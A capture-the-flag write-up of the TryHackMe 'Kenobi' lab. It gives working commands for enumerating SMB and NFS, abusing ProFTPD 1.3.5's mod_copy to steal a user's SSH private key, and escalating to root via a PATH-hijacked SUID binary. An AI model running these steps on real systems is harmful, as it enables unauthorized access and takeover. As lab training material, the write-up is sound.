THM — Offensive Pentesting Path (2)
System overview
| Hostname | KENOBI |
|---|---|
| Exp Date | 16-04-2022 |
| Link to room | https://tryhackme.com/room/kenobi |
Exploitation Overview
This box is a linux system with exposed NFS shares, SMB shares and a vulnerable version proFTPD running. Initial access is obtained with leveraging the proFTPD vulnerability to copy the SSH private key to an exposed NFS share (hence the Star Wars reference). Privilege escalation was through exploiting a SUID binary with PATH vulnerability.
Recon
Portscan – TCP
sudo nmap -sV -sC -v [target_ip] -p-
PORT STATE SERVICE VERSION
21/tcp open ftp ProFTPD 1.3.5
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-robots.txt: 1 disallowed entry
|_/admin.html
|_http-title: Site doesn't have a title (text/html).
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| 100003 2,3,4 2049/tcp nfs
| 100005 1,2,3 37705/udp mountd
| 100021 1,3,4 42305/tcp6 nlockmgr
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
2049/tcp open nfs_acl 2-3 (RPC #100227)
Web server
On port 80 was the Apache web server. Directory fuzzing showed only the web root /, robots.txt & admin.html were available. The webroot has 2 dudes fighting with lightsabers. The source code seems empty too.
Robots page showed an admin.html page, which was also found by nmap and nikto.
User-agent: *
Disallow: /admin.html
admin.html: The alleged admin page was seemingly a trap. The source code was also unremarkable.
SSH was running on verion 7. So we could forget it for now unless bruteforcing it with hydra was the only way it. We continued to enumerate the SMB shares & users with nse scripts:
$ nmap -p 139,445 --script=smb-enum-shares.nse,smb-enum-users.nse [target_ip]
Host script results:
| smb-enum-shares:
<SNIP>
| \\10.10.163.125\anonymous:
| Type: STYPE_DISKTREE
| Comment:
| Users: 0
| Max Users: <unlimited>
| Path: C:\home\kenobi\share
| Anonymous access: READ/WRITE
| Current user access: READ/WRITE
Nmap done: 1 IP address (1 host up) scanned in 83.29 seconds
A couple of things could be made of this. From the Samba/SSH/Apache combo it is so far reasonable to infer that the host OS is some flavor of Linux. The /home/kenobi/share leaked the presense of a kenobi user inside of a computer with the same nameas hostname. We accessed the anonymous share to download the log.txt file found inside.
$ smbclient \\\\10.10.163.125\\anonymous
Enter WORKGROUP\kali's password:[blank]
smb: \> ls
. D 0 Wed Sep 4 18:49:09 2019
.. D 0 Wed Sep 4 18:56:07 2019
log.txt N 12237 Wed Sep 4 18:49:09 2019
9204224 blocks of size 1024. 6877116 blocks available
smb: \> get log.txt
getting file \log.txt of size 12237 as log.txt (5.0 KiloBytes/sec) (average 5.0 KiloBytes/sec)
Inside of log.txt were the location and file name of the ssh key of the kenobi user.
There were also pieces of the proFTPD config including the user being kenobi, the default file root of the FTP is ~ i.e. /home/kenobi, and Overwrite is On, whatever that meant.
NFS
The next service enumerated was the NFS shares.
$ nmap -v -p111 10.10.182.44 --script=nfs-*
PORT STATE SERVICE
111/tcp open rpcbind
| nfs-showmount:
|_ /var *
Seems that /var was mountable. Using sudo mount -nolock [target_ip]:/var ~/kenobi the /var directory was accessible on our machine.
As expected we do not have write permissions on /var.
┌──(kali㉿kali)-[~/kenobi]
└─$ touch test.txt
touch: cannot touch 'test.txt': Read-only file system
ProFTPD 1.3.5
The proFTPD version could be found either with nmap -sV or plainly connecting to the service with ftp. With searchsploit a vulnerability using site cpfr and site cpto could be found. This allowed the copying files within the host filesystem without credentials.
$ searchsploit proftpd 1.3.5
---------------------------------------------------------- --------------------------
Exploit Title | Path
---------------------------------------------------------- --------------------------
ProFTPd 1.3.5 - 'mod_copy' Command Execution (Metasploit) | linux/remote/37262.rb
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution | linux/remote/36803.py
ProFTPd 1.3.5 - 'mod_copy' Remote Command Execution (2) | linux/remote/49908.py
ProFTPd 1.3.5 - File Copy | linux/remote/36742.txt
---------------------------------------------------------- --------------------------
Exploitation and proof
The exploitation of this box seemed rather convuloted when it first attempted it before PWK. Now that I’ve had the experience and a few dozen boxes under my belt, it’s more clear.
An exposed home directory for any user is a potential treasure chest. The simplest way is an exposed SSH private key (such as described on this box). Sometimes it is exposed credentials / configuration. To exploit kenobi, we first get the private Key to /var/tmp as shown here:
$ ftp 10.10.182.44
Connected to 10.10.182.44.
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.10.182.44]
Name (10.10.182.44:kali):
331 Password required for kali
Password: [blank]
530 Login incorrect.
ftp: Login failed
ftp> site cpfr /home/kenobi/.ssh/id_rsa
350 File or directory exists, ready for destination name
ftp> site cpto /var/tmp/id_rsa.copy
250 Copy successful
Then we mounted the nfs share and copied the private key to our file system.
$ sudo mount -nolock 10.10.182.44:/var ./nfs
$ cp nfs/tmp/id_rsa.copy .
$ ls
id_rsa.copy nfs
You need to change the permissions on the private key before using it. And then we’re in.
$ mv id_rsa.copy kenobi_key
$ chmod 600 kenobi_key
$ ssh [email protected] -i ./kenobi_key
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.8.0-58-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
Privilege Escalation
An SUID binary was exploited to get root. To find those you use find.
$ find / -perm -u=s -type f 2>/dev/null
...
/usr/bin/menu
...
$ ls -l /usr/bin/menu
-rwsr-xr-x 1 root root 8880 Sep 4 2019 /usr/bin/menu
Since the owner of the binary was root, if we could get it to spawn a new process for us it will be a root process.
$ menu
***************************************
1. status check
2. kernel version
3. ifconfig
** Enter your choice :1
HTTP/1.1 200 OK
Date: Sat, 16 Apr 2022 05:06:33 GMT
Server: Apache/2.4.18 (Ubuntu)
Last-Modified: Wed, 04 Sep 2019 09:07:20 GMT
ETag: "c8-591b6884b6ed2"
Accept-Ranges: bytes
Content-Length: 200
Vary: Accept-Encoding
Content-Type: text/html
It seems that the binary ran an HTTP request on itself. Let’s use strings to see how it did this.
So the ifconfig, curl and uname -r were ran without full path. To exploit there there are a few options. Either directly spawn a shell locally, send us a reverse shell or add a new root user. On THM the prompt was to replace curl but IMO ifconfig was the better option as the command line argument could mess things up. So we copied /bin/sh to /tmp/ifconfig, run /usr/bin/menu and select the ifconfig option, viola!
